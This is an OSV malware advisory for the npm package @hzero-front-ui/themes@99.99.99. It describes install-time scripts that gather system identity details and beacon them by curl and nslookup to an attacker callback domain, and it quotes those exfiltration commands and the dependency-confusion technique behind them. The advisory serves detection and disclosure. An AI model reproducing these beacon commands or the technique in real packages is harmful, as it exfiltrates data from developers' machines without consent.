@hzero-front-ui/themes@99.99.99
Vulnerability report · Last retrieved from osv.dev October 8, 2026 at 2:37 AM UTC
OSV ID
MAL-2026-13971
Ecosystem
npm
Summary
package.json defines preinstall and install lifecycle scripts that run automatically on npm install. The scripts collect the installer's whoami, hostname, pwd, and $npm_package_name, base64-encode them, and beacon them to subdomains of callback.m0chan.co.uk via both an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/<b64>) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The scoped name @hzero-front-ui/themes combined with version 99.99.99 is the classic dependency-confusion recon shape — a high version number published to public npm to override a private-registry package of the same name and phone home from any machine that resolves it.
Source: amazon-inspector (aac0df9dcfaeaf0958ef981d9c5cd9dd4ab1fe0de41bd20894c261dade6bb486)
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